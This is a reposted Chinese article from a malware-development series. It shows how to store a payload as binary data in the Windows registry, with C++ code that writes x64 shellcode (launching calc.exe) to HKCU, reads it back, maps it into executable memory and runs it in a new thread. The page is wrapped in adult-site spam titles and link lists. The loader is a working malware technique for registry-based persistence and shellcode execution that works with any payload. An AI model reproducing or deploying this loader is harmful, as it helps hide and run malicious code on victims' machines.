在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

在windows注冊表中存儲二進制數據

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2023-05-31 14:13 ? 次閱讀

簡介

注冊表是 Windows 操作系統中一個重要的數據庫,它包含 Windows 操作系統和應用程序的重要設置和選項。由于注冊表的功能非常強大,因此注冊表對于惡意程序來說是非常有利用價值的。

在 windows 注冊表中存儲二進制數據,這是一種常見的技術,常被惡意軟件用于持久化或存儲惡意的 payload

在注冊表中存儲二進制數據

boolStoreBinaryDataInRegistry(conststd::wstring& subKeyPath, conststd::wstring& vauleName, constvoid* binaryData, DWORD dataSize)
{
HKEY hkey;
LSTATUS res = RegCreateKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hkey, NULL);
if(res == ERROR_SUCCESS)
{
res = RegSetValueExW(hkey, vauleName.c_str(), 0, REG_BINARY, reinterpret_cast(binaryData), dataSize);

RegCloseKey(hkey);
}

return(res == ERROR_SUCCESS);
}

上述代碼將二進制數據存儲到 Windows 注冊表中。

取出存儲的二進制數據

boolGetBinaryDataFromRegistry(conststd::wstring& subKeyPath, conststd::wstring& valueName, std::vector& outBuffer)
{
HKEY hKey;

LSTATUS res = RegOpenKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, KEY_READ, &hKey);
if(res != ERROR_SUCCESS) {
returnfalse;
}

DWORD dataType;
DWORD dataSize = 0;
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, nullptr, &dataSize);
if(res != ERROR_SUCCESS || dataType != REG_BINARY) {
RegCloseKey(hKey);
returnfalse;
}

outBuffer.resize(dataSize);
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, &outBuffer[0], &dataSize);
RegCloseKey(hKey);

return(res == ERROR_SUCCESS);
}

上述代碼將從注冊表指定位置取出二進制數據保存在 vector 中。

測試

intmain()
{
unsigned char calc_thread64_bin[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned intcalc_thread64_bin_len = 276;

StoreBinaryDataInRegistry(L"SOFTWARE\testApp", L"test", calc_thread64_bin, calc_thread64_bin_len);

std::vector payload;
GetBinaryDataFromRegistry(L"SOFTWARE\testApp", L"test", payload);

auto execMem = VirtualAlloc(NULL, calc_thread64_bin_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

memmove(execMem, payload.data(), calc_thread64_bin_len);

DWORD oldProtect;
auto ret = VirtualProtect(execMem, calc_thread64_bin_len, PAGE_EXECUTE_READ, &oldProtect);

if(ret != 0) {
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)execMem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return0;
}

上述測試代碼首先使用 StoreBinaryDataInRegistry 將 payload 寫入注冊表指定位置(HKCUSOFTWARE estApp)下的 test 字段,之后從使用GetBinaryDataFromRegistry 取出 payload 數據并創建線程執行 payload。

效果:寫入注冊表中指定位置的數據。

99d6833c-fc66-11ed-90ce-dac502259ad0.png

當程序成功執行將彈出計算器窗口。

99e73c04-fc66-11ed-90ce-dac502259ad0.png

審核編輯:彭靜
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 數據
    +關注

    關注

    8

    文章

    7233

    瀏覽量

    90820
  • 存儲
    +關注

    關注

    13

    文章

    4478

    瀏覽量

    86955
  • WINDOWS
    +關注

    關注

    4

    文章

    3600

    瀏覽量

    90757

原文標題:maldev tricks在注冊表中存儲 payload

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦
    熱點推薦

    偏移二進制二進制補碼如何和實際數據對應,如何轉換?

    偏移二進制二進制補碼如何和實際數據對應,如何轉換,請哪位高手解惑
    發表于 01-16 06:01

    hex格式和二進制的區別

    HEX格式和二進制多個方面存在顯著的區別。以下是對這兩者的對比: 一、定義與表示方式 HEX格式 : HEX,全稱為Intel HEX,是一種用于存儲和傳輸數據到嵌入式系統(如單片機
    的頭像 發表于 11-18 15:24 ?1398次閱讀

    二進制編碼器自動化領域的作用

    二進制編碼器是一種將二進制信號轉換為數字信號的電子設備,廣泛應用于自動化領域。 一、二進制編碼器的工作原理 二進制編碼器是一種將二進制信號轉
    的頭像 發表于 11-06 09:53 ?769次閱讀

    二進制編碼器應用場景 二進制編碼器與模擬編碼器比較

    編碼器是將信息從一種形式或格式轉換為另一種形式的設備。在數字和模擬系統,編碼器扮演著至關重要的角色。二進制編碼器和模擬編碼器是兩種常見的編碼器類型,它們不同的應用場景中有著各自的優勢和局
    的頭像 發表于 11-06 09:45 ?1006次閱讀

    二進制編碼器工作原理 如何選擇二進制編碼器

    二進制編碼器是一種數字電路,它將輸入的二進制代碼轉換為對應的輸出信號。在數字系統,編碼器用于將數據從一種形式轉換為另一種形式,以便于處理和傳輸。
    的頭像 發表于 11-06 09:44 ?1962次閱讀

    二進制處理的一些技巧

    二進制和十進制的處理,有時候一些小技巧是很有用的。 1、把十進制數轉換成二進制
    的頭像 發表于 07-05 11:51 ?816次閱讀

    進制和4位二進制計數器數據表

    電子發燒友網站提供《十進制和4位二進制計數器數據表.pdf》資料免費下載
    發表于 05-31 09:32 ?1次下載
    十<b class='flag-5'>進制</b>和4位<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    二進制串行計數器工作原理是什么?

    在數字電路設計,計數器是一種非常關鍵的組件,用于測量時間、計數事件或跟蹤狀態變化等。其中,二進制串行計數器作為一種常用的計數器類型,多種應用場景中都發揮著重要作用。本文將對二進制
    的頭像 發表于 05-28 15:52 ?1271次閱讀

    同步4位二進制計數器數據表

    電子發燒友網站提供《同步4位二進制計數器數據表.pdf》資料免費下載
    發表于 05-22 09:44 ?0次下載
    同步4位<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    同步4位上/下二進制計數器數據表

    電子發燒友網站提供《同步4位上/下二進制計數器數據表.pdf》資料免費下載
    發表于 05-17 10:52 ?0次下載
    同步4位上/下<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    異步7位二進制計數器數據表

    電子發燒友網站提供《異步7位二進制計數器數據表.pdf》資料免費下載
    發表于 05-17 09:15 ?0次下載
    異步7位<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    4位二進制計數器FCT163T數據表

    電子發燒友網站提供《4位二進制計數器FCT163T數據表.pdf》資料免費下載
    發表于 05-16 09:40 ?0次下載
    4位<b class='flag-5'>二進制</b>計數器FCT163T<b class='flag-5'>數據表</b>

    同步4位上/下二進制計數器數據表

    電子發燒友網站提供《同步4位上/下二進制計數器數據表.pdf》資料免費下載
    發表于 05-14 09:40 ?0次下載
    同步4位上/下<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    雙4位十進制二進制計數器數據表

    電子發燒友網站提供《雙4位十進制二進制計數器數據表.pdf》資料免費下載
    發表于 05-13 11:12 ?0次下載
    雙4位十<b class='flag-5'>進制</b>和<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    十進位、除以十二和二進制計數器數據表

    電子發燒友網站提供《十進位、除以十二和二進制計數器數據表.pdf》資料免費下載
    發表于 05-13 11:03 ?0次下載
    十進位、除以十二和<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>
    主站蜘蛛池模板: 欧美色欧美色 | 二级黄绝大片中国免费视频 | 奇米小说 | www.狠狠操.com | 在线免费成人网 | 亚洲淫视频 | 日韩精品另类天天更新影院 | 国产理论在线 | 天天操夜夜操免费视频 | 777色淫网站女女免费 | 午夜精品久久久久久 | 欧美黄色片在线 | 快色视频免费观看 | 三级免费观看 | 亚洲一区精品中文字幕 | 国产成人影院 | 色噜噜亚洲男人的天堂 | 天天干天天拍天天射天天添天天爱 | 美女视频黄a视频美女大全 美女视频一区二区 | 91大神在线精品视频一区 | 最好看的2019中文字幕免费高清 | 一级欧美视频 | 91九色成人 | 欧美一级淫片免费播放口 | 色香蕉视频 | 失禁h啪肉尿出来高h受 | 欧美涩色 | 天天综合色天天综合网 | 日本不卡一区 | 七月丁香八月婷婷综合激情 | 四虎欧美在线观看免费 | 欧美色图俺去了 | 日韩一级片免费在线观看 | 爽爽爽爽爽爽a成人免费视频 | 欧美成人3d动漫在线播放网站 | 久久亚洲国产精品五月天 | 1024人成软件色www | 夜夜bb| 青草悠悠视频在线观看 | 日韩加勒比在线 | 一级特色黄大片 |